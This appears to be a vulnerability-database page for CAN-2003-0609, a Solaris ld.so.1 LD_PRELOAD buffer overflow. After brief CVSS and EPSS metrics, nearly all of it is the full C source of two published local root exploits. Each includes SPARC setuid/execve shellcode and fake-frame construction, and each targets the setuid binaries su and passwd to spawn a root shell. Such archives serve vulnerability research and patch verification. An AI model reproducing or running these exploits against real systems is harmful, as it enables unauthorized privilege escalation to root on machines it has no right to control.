Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 1182
Publication date : 2004-12-23 23h00 +00:00
Author : Marco Ivaldi
EDB Verified : Yes
/*
* $Id: raptor_ldpreload.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9
* Copyright (c) 2003-2004 Marco Ivaldi <
[email protected]>
*
* Stack-based buffer overflow in the runtime linker, ld.so.1, on Solaris 2.6
* through 9 allows local users to gain root privileges via a long LD_PRELOAD
* environment variable (CAN-2003-0609).
*
* This exploit uses the ret-into-ld.so technique, to effectively bypass the
* non-executable stack protection (noexec_user_stack=1 in /etc/system). This
* is a weird vulnerability indeed: the standard ret-into-stack doesn't seem
* to work properly for some reason (SEGV_ACCERR), and at least my version of
* Solaris 8 (Generic_108528-13) is very hard to exploit (how to reach ret?).
*
* Usage:
* $ gcc raptor_ldpreload.c -o raptor_ldpreload -ldl -Wall
* $ ./raptor_ldpreload
* [...]
* # id
* uid=0(root) gid=1(other)
* #
*
* Vulnerable platforms:
* Solaris 2.6 with 107733-10 and without 107733-11 [untested]
* Solaris 7 with 106950-14 through 106950-22 and without 106950-23 [untested]
* Solaris 8 with 109147-07 through 109147-24 and without 109147-25 [untested]
* Solaris 9 without 112963-09 [tested]
*/
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9"
#define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi <
[email protected]>"
#define VULN "/usr/bin/su" // default setuid target
#define BUFSIZE 1700 // size of the evil buffer
#define FFSIZE 64 + 1 // size of the fake frame
#define DUMMY 0xdeadbeef // dummy memory address
#define ALIGN 3 // needed address alignment
/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
char sc[] = /* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
/* globals */
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], ff[FFSIZE];
char platform[256], release[256];
int i, offset, ff_addr, sc_addr, str_addr;
int plat_len, prog_len, rel;
char *arg[2] = {"foo", NULL};
int arg_len = 4, arg_pos = 1;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("strcpy");
int rwx_mem = search_rwx_mem();
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
rel = atoi(release + 2);
/* prepare the evil buffer */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "LD_PRELOAD=/", 12);
buf[sizeof(buf) - 2] = '/';
/* prepare the fake frame */
bzero(ff, sizeof(ff));
/*
* saved %l registers
*/
set_val(ff, i = 0, DUMMY); /* %l0 */
set_val(ff, i += 4, DUMMY); /* %l1 */
set_val(ff, i += 4, DUMMY); /* %l2 */
set_val(ff, i += 4, DUMMY); /* %l3 */
set_val(ff, i += 4, DUMMY); /* %l4 */
set_val(ff, i += 4, DUMMY); /* %l5 */
set_val(ff, i += 4, DUMMY); /* %l6 */
set_val(ff, i += 4, DUMMY); /* %l7 */
/*
* saved %i registers
*/
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */
set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */
set_val(ff, i += 4, DUMMY); /* %i2 */
set_val(ff, i += 4, DUMMY); /* %i3 */
set_val(ff, i += 4, DUMMY); /* %i4 */
set_val(ff, i += 4, DUMMY); /* %i5 */
set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
/* fill the envp, keeping padding */
sc_addr = add_env(ff);
str_addr = add_env(sc);
add_env("bar");
add_env(buf);
add_env(NULL);
/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
VOODOO64(offset, arg_pos, env_pos)
else
VOODOO32(offset, plat_len, prog_len)
/* calculate the needed addresses */
ff_addr = sb - offset + arg_len;
sc_addr += ff_addr;
str_addr += ff_addr;
/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */
/* fill the evil buffer */
for (i = 12 + ALIGN; i < 1296; i += 4)
set_val(buf, i, str_addr); /* must be a valid string */
/* to avoid distance bruteforcing */
for (i = 1296 + ALIGN; i < BUFSIZE - 12; i += 4) {
set_val(buf, i, ff_addr);
set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */
}
/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using string address\t: 0x%p\n", (void *)str_addr);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return(addr);
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return(addr_old);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
// milw0rm.com [2004-12-24]
Exploit Database EDB-ID : 114
Publication date : 2003-10-26 23h00 +00:00
Author : osker178
EDB Verified : Yes
/* #############################
* ## ld.so.1 exploit (SPARC) ##
* #############################
* [coded by: osker178 (bjr213 psu.edu)]
*
* Alright, so this exploits a fairly standard buffer
* overflow in the default Solaris runtime linker (ld.so.1)
* (discovery by Jouko Pynnonen)
* Only real deviation here from the standard overflow
* and return into libc scenario is that at the time that
* overflow occurs, the libc object file has not been loaded;
* so it's not really possible to return into a libc function.
* However, this poses no real problem to us, as ld.so.1
* provides it's own ___cpy() functions which we can use to
* move our shellcode into an appropriate place in memory.
*
* Some things to note:
*
* - obviously some of the pre-defined addresses will have to be changed
*
* - 1124-1128 bytes into our buffer provided to LD_PRELOAD we will end up
* overwriting a char *; this is actually very helpful for locating where
* the rest of our information is stored in memory, as this pointer
* will be used to display another error message, showing us what string
* is stored at the address we overwrote this pointer with.
*
* - ... eh, that's enough, just look at the code to figure the rest out
*/
#include <dlfcn.h>
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <link.h>
char SPARC_sc[] =
/* setuid(0) */
"\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
"\x82\x10\x20\x17" /* mov 23,%g1 | 23 == SYS_setuid()*/
"\x91\xd0\x20\x08" /* ta 8 */
/* setreuid(0,0) - for me at least, these both had to be called */
"\x92\x1a\x40\x09" /* xor %o1,%o1,%o1 */
"\x82\x10\x20\xca" /* mov 202, %g1 | 202 == SYS_setreuid()*/
"\x91\xd0\x20\x08" /* ta 8 */
/* exec(/bin/sh) */
"\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */
"\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */
"\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */
"\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */
"\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */
"\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
"\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */
"\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */
"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */
"\x82\x10\x20\x3b" /* mov 59, %g1 | 59 = SYS_execve() */
"\x91\xd0\x20\x08" /* ta 8 */
;
const long FRAME_ADDR = 0xffbee938;
const long SHELLCODE_ADDR = 0xffbef17a;
const long DESTCPY_ADDR = 0xff3e7118;
const long DEF_OFFSET = 0x20;
const int ENV_STR_SIZE = 2048;
const int FRAME_SIZE = 64; /* 8 %i regs and 8 %l regs */
const int DEF_FPAD_LEN = 4;
const int REC_BUF_SIZE = 1456;
char * get_ld_env(int buf_len, long offset);
char * get_fake_frame(long offset);
char * get_envs_str(char fill);
unsigned long get_strcpy_addr();
/* ********************************************** *
* ******************** MAIN ******************** *
* ********************************************** */
int main(int argc, char **argv)
{
char *prog[3];
char *envs[7];
char opt;
int buf_size = -1;
int fpad_len = -1;
long offset = -1;
char *ld_pre_env = 0x0;
char *fake_frame = 0x0;
/* padding of sorts */
char *envs_str1 = 0x0;
char *envs_str2 = 0x0;
char *fpad_buf = 0x0;
// ------------------------------------------------ //
while((opt = getopt(argc, argv, "s:o:p:")) != -1)
{
switch(opt) {
case 's':
if(!optarg) {
printf("-s needs size argument\n");
exit(0);
}
else
buf_size = atoi(optarg);
break;
case 'o':
if(!optarg) {
printf("-o needs offset argument\n");
exit(0);
}
else
offset = atol(optarg);
break;
case 'p':
if(!optarg) {
printf("-p needs pad length argument\n");
exit(0);
}
else {
fpad_len = atoi(optarg);
if(fpad_len < 0)
fpad_len = 0;
}
break;
default:
printf("Usage: %s [-s size] [-o offset] [-p fpad_len]\n", argv[0]);
exit(0);
}
argc -= optind;
argv += optind;
}
printf("\n#######################################\n");
printf("# ld.so.1 LD_PRELOAD (SPARC) exploit #\n");
printf("# coded by: osker178 (
[email protected]) #\n");
printf("#######################################\n\n");
if(buf_size == -1)
{
printf("Using default/recommended buffer size of %d\n", REC_BUF_SIZE);
buf_size = REC_BUF_SIZE;
}
else if(buf_size % 4)
{
buf_size = buf_size + (4 - (buf_size%4));
printf("WARNING: Rounding BUF_SIZE up to 0x%x (%d)\n", buf_size, buf_size);
}
if(offset == -1)
{
printf("Using default OFFSET of 0x%x (%d)\n", DEF_OFFSET, DEF_OFFSET);
offset = DEF_OFFSET;
}
else if((FRAME_ADDR + offset) % 8)
{
offset = offset + (8 - (offset%8));
printf("WARNING: Rounding offset up to 0x%x (%d)\n", offset, offset);
printf("(otherwise FRAME_ADDR would not be alligned correctly)\n");
}
if(fpad_len == -1)
{
printf("Using default FPAD_LEN of 0x%x (%d)\n", DEF_FPAD_LEN, DEF_FPAD_LEN);
fpad_len = DEF_FPAD_LEN;
}
// -------------------------------------------------- //
ld_pre_env = get_ld_env(buf_size, offset);
if(!ld_pre_env)
exit(0);
fake_frame = get_fake_frame(offset);
if(!fake_frame)
exit(0);
envs_str1 = get_envs_str('1');
if(!envs_str1)
exit(0);
envs_str2 = get_envs_str('2');
if(!envs_str2)
exit(0);
// -------------------------------------------------- //
fpad_buf = (char *)malloc(fpad_len+1);
if(!fpad_buf)
{
perror("malloc");
exit(0);
}
memset(fpad_buf, 'F', fpad_len);
fpad_buf[fpad_len] = '\0';
envs[0] = fpad_buf;
envs[1] = fake_frame;
envs[2] = envs_str1;
envs[3] = SPARC_sc;
envs[4] = envs_str2;
envs[5] = ld_pre_env;
envs[6] = NULL;
prog[0] = "/usr/bin/passwd";
prog[1] = "passwd";
prog[2] = NULL;
execve(prog[0], prog, envs);
perror("execve");
return 0;
}
/* ********************************************** */
/* ********************************************** *
* ***************** GET_LD_ENV ***************** *
* ********************************************** */
char * get_ld_env(int buf_len, long offset)
{
long *lp;
char *buf;
char *ld_pre_env;
unsigned long strcpy_ret;
strcpy_ret = get_strcpy_addr();
if(!strcpy_ret)
return 0;
else
printf("strcpy found at [0x%x]\n\n", strcpy_ret);
/*
* buf_size --> main requested length (rounded up to nearest factor of 4)
* +FRAME_SIZE --> for the fake frame values (64 bytes worth) we will overwrite
* +1 --> for the "/" character that must be appended in order to pass the strchr()
* and strrchr() tests (see <load_one>: from objdump -d /usr/lib/ld.so.1)
* +1 --> '\0' obviously
*/
buf = (char *)malloc(buf_len + FRAME_SIZE + 1 + 1);
if(!buf)
{
perror("malloc");
return 0;
}
memset(buf, 'A', buf_len);
buf[0] = '/';
/* this is the location of the (char *) in ld.so.1 we are overwriting
* -> use this to find the address of the environment
* arguments (whatever value we write at this address
* is what will be displayed in an error message
* from ld.so.1 after the error message generated from
* our insecure path provided in LD_PRELOAD)
*/
lp = (long *)(buf + 1124);
*lp++ = FRAME_ADDR + offset;
lp = (long *)(buf + buf_len);
/* %l regs - as far as we're concerned, these
* values don't matter (i've never
* had a problem with them)
*/
*lp++ = 0x61616161; /* %l0 */
*lp++ = 0x62626262; /* %l1 */
*lp++ = 0x63636363; /* %l2 */
*lp++ = 0x64646464; /* %l3 */
*lp++ = 0x65656565; /* %l4 */
*lp++ = 0x66666666; /* %l5 */
*lp++ = 0x67676767; /* %l6 */
*lp++ = 0x68686868; /* %l7 */
/* %i regs */
*lp++ = 0x69696969; /* %i0 */
*lp++ = 0x70707070; /* %i1 */
*lp++ = 0x71717171; /* %i2 */
*lp++ = 0x72727272; /* %i3 */
*lp++ = 0x73737373; /* %i4 */
*lp++ = 0x74747474; /* %i5 */
*lp++ = FRAME_ADDR + offset; /* our fake frame/%i6 */
*lp = strcpy_ret; /* ret address/%i7 */
strcat(buf, "/");
/* put together our LD_PRELOAD buffer */
ld_pre_env = (char *)malloc(strlen(buf) + strlen("LD_PRELOAD=") + 1);
if(!ld_pre_env)
{
perror("malloc");
return 0;
}
strcpy(ld_pre_env, "LD_PRELOAD=");
strcat(ld_pre_env + strlen(ld_pre_env), buf);
free(buf);
return ld_pre_env;
}
/* ********************************************** *
* *************** GET_FAKE_FRAME *************** *
* ********************************************** */
char * get_fake_frame(long offset)
{
long destcpy_addr;
long *lp;
char *frame = (char *)malloc(FRAME_SIZE + 1);
if(!frame)
{
perror("malloc");
return 0;
}
/* this worked for me; may have to adjust though
* - can easily find a good place by using gdb and pmap */
destcpy_addr = get_strcpy_addr() + 0x17000;
lp = (long *)frame;
/* %l regs - values don't matter */
*lp++ = 0x42454746; /* %l0 <- == "BEGF", use this to help locate frame's address */
*lp++ = 0xdeaddead; /* %l1 */
*lp++ = 0xdeaddead; /* %l2 */
*lp++ = 0xdeaddead; /* %l3 */
*lp++ = 0xdeaddead; /* %l4 */
*lp++ = 0xdeaddead; /* %l5 */
*lp++ = 0xdeaddead; /* %l6 */
*lp++ = 0xdeaddead; /* %l7 */
/* %i regs */
*lp++ = destcpy_addr; /* %i0 - DESTINATION ADDRESS for ___cpy() */
*lp++ = (SHELLCODE_ADDR + offset); /* %i1 - SOURCE ADDRESS for ___cpy() */
*lp++ = 0xdeaddead; /* %i2 - size*/
*lp++ = 0xdeaddead; /* %i3 */
*lp++ = 0xdeaddead; /* %i4 */
*lp++ = 0xdeaddead; /* %i5 */
*lp++ = destcpy_addr+0x200; /* saved frame pointer/%i6(sp) */
*lp++ = destcpy_addr-0x8; /* %i7 */
*lp++ = 0x0;
return frame;
}
/* ********************************************** *
* **************** GET_ENVS_STR **************** *
* ********************************************** */
char * get_envs_str(char fill)
{
char *envs_str = (char *)malloc(ENV_STR_SIZE + 1);
if(!envs_str)
{
perror("malloc");
return 0;
}
memset(envs_str, fill, ENV_STR_SIZE);
envs_str[0] = 'b'; // \
envs_str[1] = 'e'; // --- help find where we are in memory/in relation to other env variables */
envs_str[2] = 'g'; // /
envs_str[ENV_STR_SIZE] = '\0';
return envs_str;
}
/* ********************************************** *
* *************** GET_STRCPY_ADDR ************** *
* ********************************************** */
unsigned long get_strcpy_addr()
{
void *handle;
Link_map *lm;
unsigned long addr;
if((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL)
{
perror("dlmopen");
return 0;
}
if((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1)
{
perror("dlinfo");
return 0;
}
if((addr = (unsigned long)dlsym(handle, "strcpy")) == NULL)
{
perror("dlsym");
return 0;
}
/* -4 to skip save and use
* our fake frame instead */
addr -= 4;
/* make sure addr doesn't contain any 0x00 bytes,
* or '/' characters (as this is where strcpy will
* cutoff in ld.so.1) */
if( !(addr & 0xFF) || !(addr & 0xFF00) ||
!(addr & 0xFF0000) || !(addr & 0xFF000000) ||
((addr & 0xFF) == 0x2f) ||
((addr & 0xFF00) == 0x2f) ||
((addr & 0xFF0000) == 0x2f) ||
((addr & 0xFF000000) == 0x2f) )
{
printf("ERROR: strcpy address (0x%x) contains unusable bytes somewhere.\n", addr);
printf(" -> consider using strncpy, memcpy, or another similar substitute instead.\n");
return 0;
}
return addr;
}
// milw0rm.com [2003-10-27]
Products Mentioned
Configuraton 0
Sun>>Solaris >> Version 2.6
Sun>>Solaris >> Version 7.0
Sun>>Solaris >> Version 8.0
Sun>>Solaris >> Version 9.0
Sun>>Solaris >> Version 9.0
Sun>>Sunos >> Version -
Sun>>Sunos >> Version 5.7
Sun>>Sunos >> Version 5.8
References